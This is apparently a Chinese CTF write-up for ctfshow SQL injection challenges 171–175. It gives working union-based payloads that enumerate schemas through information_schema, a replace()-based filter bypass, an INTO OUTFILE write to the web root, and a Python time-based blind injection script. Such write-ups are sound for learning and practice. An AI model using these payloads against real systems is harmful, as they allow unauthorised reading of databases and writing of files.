当前位置: 首页 > article >正文

ctfhow——web入门171~175

sql简介

web入门171

——判断注入点:

-1' union select 1,2,3 --+

其实在这之前可以先判断多少列,即 -1‘ group(order) by 3 --+

group by用于将具有相同值的行分组成一个汇总行,可以查看是否报错确定列数

2,3列都有回显

——查询库名:

-1'union select 1,database(),3 --+

——查询表名:

1' union select 1,6,group_concat(table_name) from information_schema.tables where table_schema=database() --+(这里把查询位放在第二位查不出来)

GROUP_CONCAT 是 MySQL 中的一个聚合函数,它用于将属于同一组的字符串连接起来,形成一个单一的字符串

table_name就是表名

information_schema.tables 是 MySQL 数据库系统中的一个系统视图,属于 information_schema 数据库。这个数据库提供了对数据库元数据(即关于数据库的数据,如表、列、索引等的信息)的访问。tables 表(或视图)具体包含了当前用户可访问的所有数据库中的表的相关信息

phpstudy中mysql界面:

table_schema:就是库名

——查询列名:

1' union select 1,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

column_name:列名

——查询password:

-1' union select 1,6,group_concat(password) from ctfshow_user --+

发现flag

web入门172

这里有两个表,那我就先看第二个

首先1' order by 2 --+判断出有两位

找回显位:

库名:

表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

有两个表

列名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

两个都是这个

flag:

-1' union select 1,group_concat(password) from ctfshow_user2--+

web入门173

老样子,确定字段数

查回显

库:

表:-1' union select 4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+

列:

password:-1' union select group_concat(password) from ctfshow_user3--+

看了其他师傅的,发现这题是过滤了flag

即如果:-1' union select id,username,password from ctfshow_user3 where username='flag' -- +的话

无数据,所以我们直接:-1' union select 4,5,password from ctfshow_user3 where username='flag' -- +

web入门174

注:查看url的时候发现是3.php,其实是4.php,手动切换

这题使过滤了数字和flag

库名还是ctfshow_web

然后要查的话因该就有数字了,我们把数字做替换

因为flag的范围刚好是1~f,即16进制的范围,那我们就可以把1~0替换成A~J

查表名:

原:0' union select group_concat(table_name),database() from information_schema.tables where table_schema=database()--+

后:0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from information_schema.tables where table_schema=database()--+

表为ctfshow——user4

查查列名呢

password:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(password),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from ctfshow_user4--+

然后替换就好了

tihuan = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0'
    }

text ="ctfshow{eFEcbfGC-GfGA-DcfA-bICa-DFBDaJCbFeDH}"

for i in text:
    if i in tihuan:
        print(tihuan[i],end='')
    else:
        print(i,end='')

web入门175

这题没看到回显位

试试时间盲注

经过测试发现:确实可以这么干

两种思路吧,

第一个:

是ngnix,在Liunx中/var/www/html是网站的默认文件位置,尝试直接写入文件

1' union select 1,database() into outfile'/var/www/html/1.txt'--+

访问1.txt

发现ok,那根据前几题的规律

1' union select 1,password from ctfshow_user5 where username='flag'into outfile'/var/www/html/2.txt'--+

或者我们可以利用时间盲注:

在1' and sleep(3)--+时

注意到出现

所以脚本上的url要写/api/v5.php,不能写原来网站的那个

(最好还要加上?page=1&limilt=10,不过没加也能出来)

脚本:

import requests
import string
 
url = 'http://74760dc9-88e6-40f9-8a05-1319d3b9e33a.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'#匹配的字典
out = ''
for j in range(1, 100):
    a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
    for k in dic:
        # payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&" # 猜数据库名
        # payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名
        # payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名
        # payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜列名
        payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜flag
        
        #substr(string, start_position, length)
        #第二个参数为起始位置,第三个参数为长度
        #如果匹配成功,就sleep(3)
        
        # print(payload)
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        # print(f"{j}:{time}")
        if time > 2:
            print(k,end='')
            a = 0 #如果找到字符,则将标志位置0
            out += k
            break #继续遍历下一位
    if a == 1: #在进行下一次循环前,先判断当前字符是否找到
        break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)


http://www.kler.cn/a/612219.html

相关文章:

  • 量子计算与项目管理:2025年颠覆性技术将如何重构任务分解逻辑?
  • 优雅的开始一个Python项目
  • C++ :顺序容器
  • Causality Based Front-door Defense AgainstBackdoor Attack on Language Models
  • 智能制造:自动化焊装线的数字化设计
  • Axios企业级封装实战:从拦截器到安全策略!!!
  • 基于HTML的邮件发送状态查询界面设计示例
  • 8路CXP相机采集系统介绍
  • 华为GaussDB数据库的手动备份与还原操作介绍
  • C++List模拟实现|细节|难点|易错点|全面解析|类型转换|
  • ngx_http_index_t
  • Java 大视界 -- Java 大数据在智能政务公共服务资源优化配置中的应用(118)
  • 如何用 Postman 正确传递 Date 类型参数,避免服务器解析错误?
  • 什么是泛目录站群?怎么做好无极泛目录站群
  • Scala总结(一)
  • [计算机网络]网络I/O模型
  • Qt在模块依靠情况下资源文件名称和资源名称的使用限制
  • HTML 与 JavaScript 交互:学习进程中的新跨越(一)
  • 2025选择手机之我见
  • 抽象工厂设计模式及应用案例